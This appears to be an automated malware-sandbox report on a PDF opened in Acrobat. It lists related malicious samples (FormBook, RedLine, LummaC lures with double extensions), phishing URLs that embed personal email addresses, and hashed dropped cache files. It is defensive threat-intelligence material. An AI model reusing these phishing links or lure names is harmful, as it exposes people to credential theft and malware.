	financial_policy_December 10, 2024.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.245.203
	https://icsportal-update.duckdns.org/sq0.php?session=675a91d9e40e3	Get hash	malicious	Unknown	Browse	104.17.25.14
	RFQ_P.O.1212024.scr	Get hash	malicious	FormBook	Browse	172.67.145.234
	https://url41.mailanyone.net/scanner?m=1tLLkn-000000000Cu-3MPx&d=4%7Cmail%2F90%2F1733919600%2F1tLLkn-000000000Cu-3MPx%7Cin41e%7C57e1b682%7C16739527%7C12325088%7C67598451340A7E7E34A434AD05811D2E&o=%2Fphts%3A%2Futs.s-wr-2petncotsio.etooop%2F.cmhser%3Fd%26.dv%3D2HHu%3D60cMaRtwLyzWIN9dDWQ0j0ZBOMkiZTWDNZlNTGFmj1MdNMhhZDGDZOROGjYu2uZVcIshL13m9bRZWmNz%3D0bwLhYN%26iQVjj%3DWgZ2MNNTwzmZZWIZJlWwW%3DFkM0%26tM2l121NaQSdK5YKQ3FWZeheTURUTubJOt2oOSTWgZtZT2BvQlNBQl%3DUSThT0%26lR04%3D4d05f88a4f83c102fc8d7af5079V%266bP%3DANdsFUUEk0NThTVVNScUSYWBBbgJ7rzlyn1ERkBSzh9qmzIX6xvrbsyM8qb6f4HC59eiDbrDsPv9W1mhDcOFm%23uMyW5bUaWm5iAtZ5cVujem228YFYt9&s=dQ2VS6ieQ8nkhuwt32k9X8A6qOU	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://acg.citnow.com/dashboard	Get hash	malicious	Unknown	Browse	104.17.245.203
	Request for Quotations and specifications.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Agreement for Cooperation.PDF.lnk.download.lnk	Get hash	malicious	RedLine	Browse	172.67.223.31
	Agreement for YouTube cooperation.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	172.67.210.76
	V7CnS4XGYS.exe	Get hash	malicious	LummaC	Browse	172.67.143.116
MULTIBAND-NEWHOPEUS	SHIPPING DOCUMENTS_PDF.exe	Get hash	malicious	FormBook	Browse	209.74.79.42
	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse	209.74.64.187
	CJE003889.exe	Get hash	malicious	FormBook	Browse	209.74.79.40
	ACQUISITION OF A CONSERVATIVE REFRIGERATOR.exe	Get hash	malicious	FormBook	Browse	209.74.79.41
	PO2412010.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	Recibos.exe	Get hash	malicious	FormBook	Browse	209.74.77.108
	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	209.74.64.190
	DHL_734825510.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	SRT68.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
	UPDATED CONTRACT.exe	Get hash	malicious	FormBook	Browse	209.74.77.107
FASTLYUS	http://get-derila.com	Get hash	malicious	Unknown	Browse	151.101.65.21
	https://icsportal-update.duckdns.org/sq0.php?session=675a91d9e40e3	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://url41.mailanyone.net/scanner?m=1tLLkn-000000000Cu-3MPx&d=4%7Cmail%2F90%2F1733919600%2F1tLLkn-000000000Cu-3MPx%7Cin41e%7C57e1b682%7C16739527%7C12325088%7C67598451340A7E7E34A434AD05811D2E&o=%2Fphts%3A%2Futs.s-wr-2petncotsio.etooop%2F.cmhser%3Fd%26.dv%3D2HHu%3D60cMaRtwLyzWIN9dDWQ0j0ZBOMkiZTWDNZlNTGFmj1MdNMhhZDGDZOROGjYu2uZVcIshL13m9bRZWmNz%3D0bwLhYN%26iQVjj%3DWgZ2MNNTwzmZZWIZJlWwW%3DFkM0%26tM2l121NaQSdK5YKQ3FWZeheTURUTubJOt2oOSTWgZtZT2BvQlNBQl%3DUSThT0%26lR04%3D4d05f88a4f83c102fc8d7af5079V%266bP%3DANdsFUUEk0NThTVVNScUSYWBBbgJ7rzlyn1ERkBSzh9qmzIX6xvrbsyM8qb6f4HC59eiDbrDsPv9W1mhDcOFm%23uMyW5bUaWm5iAtZ5cVujem228YFYt9&s=dQ2VS6ieQ8nkhuwt32k9X8A6qOU	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://acg.citnow.com/dashboard	Get hash	malicious	Unknown	Browse	151.101.65.229
	https://chrysalis-lynx-nhfj.squarespace.com/	Get hash	malicious	Unknown	Browse	151.101.0.238
	https://r.clk71.com/s.ashx?ms=AZ71:223314_102051&e=susanne_hentschel%40qvc.com&eId=74256157&c=h&url=https%3a%2f%2fwww.carltonusa.com%2f	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://analytics-prd.aws.wehaa.net/trackings?value=1&action=click&category=external&origin=detailpage&url=http://notifix.info/scales/ec49f59be146f69f3ea00c211d5cccd90524b2cf7f8aec665534fc020c910734b9e18d0945bd518a0e55b407c5bf7443cf6179/paige_williams@newyorker.com&cat=firstpage&label_item_id=9633&label_owner_id=646&label_url=http://notifix.info/scales/ec49f59be146f69f3ea00c211d5cccd90524b2cf7f8aec665534fc020c910734b9e18d0945bd518a0e55b407c5bf7443cf6179/paige_williams@newyorker.com&idle=8d15bf95831b32126e4b3bd02a20cf592eade0e3442422aeaf0db14b2e91ae186a5549c468519863594ece59910ee541&tenant=minnesotastate.jobs	Get hash	malicious	Captcha Phish	Browse	151.101.194.137
	https://analytics-prd.aws.wehaa.net/trackings?value=1&action=click&category=external&origin=detailpage&url=http://notifix.info/scales/0af634fca2eaf3a11c0597691f5616c7d16f5580d650d17201024b374ebe92a8e0c492c822b6be6f4332bb93acc2ba02298f78/christa_sgobba@condenast.com&cat=firstpage&label_item_id=9633&label_owner_id=646&label_url=http://notifix.info/scales/0af634fca2eaf3a11c0597691f5616c7d16f5580d650d17201024b374ebe92a8e0c492c822b6be6f4332bb93acc2ba02298f78/christa_sgobba@condenast.com&idle=8d15bf95831b32126e4b3bd02a20cf592eade0e3442422aeaf0db14b2e91ae186a5549c468519863594ece59910ee541&tenant=minnesotastate.jobs	Get hash	malicious	Captcha Phish, HTMLPhisher	Browse	151.101.66.137
	REMITTANCE_10023Tdcj.html	Get hash	malicious	Unknown	Browse	151.101.194.137
	1.e	Get hash	malicious	DanaBot	Browse	199.232.210.172

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.229622820721908
Encrypted:	false
SSDEEP:	6:7aj34q2Pwkn2nKuAl9OmbnIFUt8ONJZmw+ONDkwOwkn2nKuAl9OmbjLJ:7Y4vYfHAahFUt8ONJ/+OND5JfHAaSJ
MD5:	423F156DCB538227E5D34E249957CD51
SHA1:	BAEB9555AB4D58BAE8687BF0E7130BF80F8E4919
SHA-256:	BDD22F031428BFFADDAB960F1099D7149EEB48ABB7DDFA166E62D96DF1E63AB8
SHA-512:	CFD2A422FC3A2E44CA9E4C9CF04E7D5281F10B4024254F2CB52FDB92EDAD7C3E43C2A86F067D10BBCF83261837896DD3F0F501F5AE548FEBF661EBDC50039A9B
Malicious:	false
Reputation:	low
Preview:	2024/12/12-06:06:08.569 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/12-06:06:08.571 1cb4 Recovering log #3.2024/12/12-06:06:08.571 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.229622820721908
Encrypted:	false
SSDEEP:	6:7aj34q2Pwkn2nKuAl9OmbnIFUt8ONJZmw+ONDkwOwkn2nKuAl9OmbjLJ:7Y4vYfHAahFUt8ONJ/+OND5JfHAaSJ
MD5:	423F156DCB538227E5D34E249957CD51
SHA1:	BAEB9555AB4D58BAE8687BF0E7130BF80F8E4919
SHA-256:	BDD22F031428BFFADDAB960F1099D7149EEB48ABB7DDFA166E62D96DF1E63AB8
SHA-512:	CFD2A422FC3A2E44CA9E4C9CF04E7D5281F10B4024254F2CB52FDB92EDAD7C3E43C2A86F067D10BBCF83261837896DD3F0F501F5AE548FEBF661EBDC50039A9B
Malicious:	false
Reputation:	low
Preview:	2024/12/12-06:06:08.569 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/12-06:06:08.571 1cb4 Recovering log #3.2024/12/12-06:06:08.571 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.193463978935567
Encrypted:	false
SSDEEP:	6:7QWM+q2Pwkn2nKuAl9Ombzo2jMGIFUt8OKFoz1Zmw+OKFolWMVkwOwkn2nKuAl97:7QL+vYfHAa8uFUt8O7Z/+O7lLV5JfHAv
MD5:	3E1760B0AC0CEF9324C92A84D0A22D49
SHA1:	7F3293B8E11E2BE9B94A368ACE4D79A9744E5CA5
SHA-256:	EF3EB7C8D10E9BA42D27611420F9A01DFC573E1A55284BFAB7A546B4BDFB4C4A
SHA-512:	F9BAAE69C1606303F0ABB2066D972F4DB9CC916112D2A0A1266097A34E290A29A0D9993D2742F7711BAA994C61EA8164E166A45B5F573B4545A8F4E5067AED2C
Malicious:	false
Reputation:	low
Preview:	2024/12/12-06:06:08.595 1d1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/12-06:06:08.596 1d1c Recovering log #3.2024/12/12-06:06:08.596 1d1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.193463978935567
Encrypted:	false
SSDEEP:	6:7QWM+q2Pwkn2nKuAl9Ombzo2jMGIFUt8OKFoz1Zmw+OKFolWMVkwOwkn2nKuAl97:7QL+vYfHAa8uFUt8O7Z/+O7lLV5JfHAv
MD5:	3E1760B0AC0CEF9324C92A84D0A22D49
SHA1:	7F3293B8E11E2BE9B94A368ACE4D79A9744E5CA5
SHA-256:	EF3EB7C8D10E9BA42D27611420F9A01DFC573E1A55284BFAB7A546B4BDFB4C4A
SHA-512:	F9BAAE69C1606303F0ABB2066D972F4DB9CC916112D2A0A1266097A34E290A29A0D9993D2742F7711BAA994C61EA8164E166A45B5F573B4545A8F4E5067AED2C
Malicious:	false
Reputation:	low
Preview:	2024/12/12-06:06:08.595 1d1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/12-06:06:08.596 1d1c Recovering log #3.2024/12/12-06:06:08.596 1d1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\36e4bbab-106b-403d-9027-70e52ce39bcd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3fefdb.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c5be5e0e-4c2c-441b-b2a0-c49f7d208891.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.968137574824206
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq88sBdOg2Hccaq3QYiubInP7E4TX:Y2sRdsBdMHf3QYhbG7n7
MD5:	CC22FB381B9578F156B9308BF0887E83
SHA1:	AEE58A4E699B383E3CF7DFB73BC331A16A7AFDEC
SHA-256:	E2D21CB67101FF3314EB800934B78CFFFBAC9C05F2899136120D81EAD7ADBDB4
SHA-512:	97D8117A8A3F3FF79500C3E12F75B86BBFFFB7C0E2F188D1AD0FA8AA2EB3C96D239220BA58E8BABE316623A5A0FE25CC255BE222D5850011FB2970D82A5D5255
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378561577045311","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":644503},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4730
Entropy (8bit):	5.246884626011415
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7GFzBiVWZ:etJCV4FiN/jTN/2r8Mta02fEhgO73goe
MD5:	396F11B63210D5D90FE77C5E2153A176
SHA1:	543C6219F7E6EE1ABE235626DE1FF1316235632F
SHA-256:	AE01D512B7B0C1F6FA26E6DD93F1077204F89037D766C477478BCFF9C88DEEBD
SHA-512:	9F46BB38C7180603B72C689A9F3F6AD7CD24DF81E0CA3034B334F28EAD55389C1C6F4ACE36D917FC23D0E94872F03F8A626F5286D8198D0DFA7E09C38B6D9964
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.16141804241574
Encrypted:	false
SSDEEP:	6:7WWM+q2Pwkn2nKuAl9OmbzNMxIFUt8OSub1Zmw+OSuNWMVkwOwkn2nKuAl9OmbzE:7WL+vYfHAa8jFUt8OSuR/+OSuNLV5Jfv
MD5:	99CED4A1783DCAC641A637D70D7290F5
SHA1:	5AD19D6AF47D6A40C588F7A1E3611C0AEFFF4F4F
SHA-256:	18D92CB94D0E2439CDD2C892C4A55BAC8FAC22E8E61FC67BA92B739542605CF6
SHA-512:	6674F3278A3348610C0039676D0BF98D39B1B3AEA8201E27D27003D866E672F67ED0AA1AD01FEB0A5C152F8628DD90E051D7B15B5149FD578916B42BD03E2A0C
Malicious:	false
Preview:	2024/12/12-06:06:08.760 1d1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/12-06:06:08.761 1d1c Recovering log #3.2024/12/12-06:06:08.761 1d1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.16141804241574
Encrypted:	false
SSDEEP:	6:7WWM+q2Pwkn2nKuAl9OmbzNMxIFUt8OSub1Zmw+OSuNWMVkwOwkn2nKuAl9OmbzE:7WL+vYfHAa8jFUt8OSuR/+OSuNLV5Jfv
MD5:	99CED4A1783DCAC641A637D70D7290F5
SHA1:	5AD19D6AF47D6A40C588F7A1E3611C0AEFFF4F4F
SHA-256:	18D92CB94D0E2439CDD2C892C4A55BAC8FAC22E8E61FC67BA92B739542605CF6
SHA-512:	6674F3278A3348610C0039676D0BF98D39B1B3AEA8201E27D27003D866E672F67ED0AA1AD01FEB0A5C152F8628DD90E051D7B15B5149FD578916B42BD03E2A0C
Malicious:	false
Preview:	2024/12/12-06:06:08.760 1d1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/12-06:06:08.761 1d1c Recovering log #3.2024/12/12-06:06:08.761 1d1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241212110613Z-184.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 117 x -152 x 32, cbSize 71190, bits offset 54
Category:	dropped
Size (bytes):	71190
Entropy (8bit):	1.781858242786862
Encrypted:	false
SSDEEP:	384:LRHMhqSOy0YsSH9VS4NnPWi+5CA9SxNjmozJq16uW:2qSOyHPM5CAmNjmoNq0X
MD5:	D69458FE0152B8487371AFD08B32F277
SHA1:	3396A8EECB9C7B58967CCF644F5B30DA39D1E3BF
SHA-256:	4203D52518EEBF5EC52CA2EF4066A27810504B53234090B548FEE9EFBB654989
SHA-512:	09B25414EAF22D8C5A06C9DD32ED24643F394F1FC12E4BB4F335A15004145788052609182D8BF5F689461B594CEB6FAEA88B1FDE6D324F86A95051EABC0F3732
Malicious:	false
Preview:	BM........6...(...u...h..... .................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................' ..' ..' ..' ..' ..' ..' ..' ..' ..' ..' ..' ..' ..' ..' ..' ..' ..' ..' ..........................................................................................................................................................................................................................................................................................................................................................................................................' ..'

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444828724173737
Encrypted:	false
SSDEEP:	384:yezci5tmiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rps3OazzU89UTTgUL
MD5:	81F53F8847818C942BDF0F5F9CFB5E3C
SHA1:	9C4CF25792321AC0E3497FD484B80298BCFC75D3
SHA-256:	3B21C831399EC853214F0A21653145E7B71BE2ECD4265246FFEF63D0FA0BD598
SHA-512:	15B1CBF79C9B1AA7DCB06B84B9E67AFAA6CF2ECD1138A7444742A7164D1408E31283EAB2AB7C8D34977A2F46CF367BA8079AE20115DDA06E4ED9475F19F3FD80
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.773958300598426
Encrypted:	false
SSDEEP:	48:7Mhp/E2ioyVNioy9oWoy1Cwoy19KOioy1noy1AYoy1Wioy1hioybioy9oy1noy1g:7GpjuNFQXKQE3b9IVXEBodRBk0
MD5:	A9DB69907255686C489326BE6696E43B
SHA1:	3F6D72117AD9BBF6D8918EF992F7DA1F4CA65408
SHA-256:	35B289ACD2A6CDE2D0CBAD3136F7981E70C37C03D7E4504CC6BFFD0DBA310AC0
SHA-512:	6FE528A06D175D9687BAB2F5530DCA3F7984E8DD6D38FB5ADE6BDCB2BA8FBF492C6752F60A63DF3630FD180BF4F6DC9D511F1016B7041B7820452D1DE0B1CE41
Malicious:	false
Preview:	.... .c.......%................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. 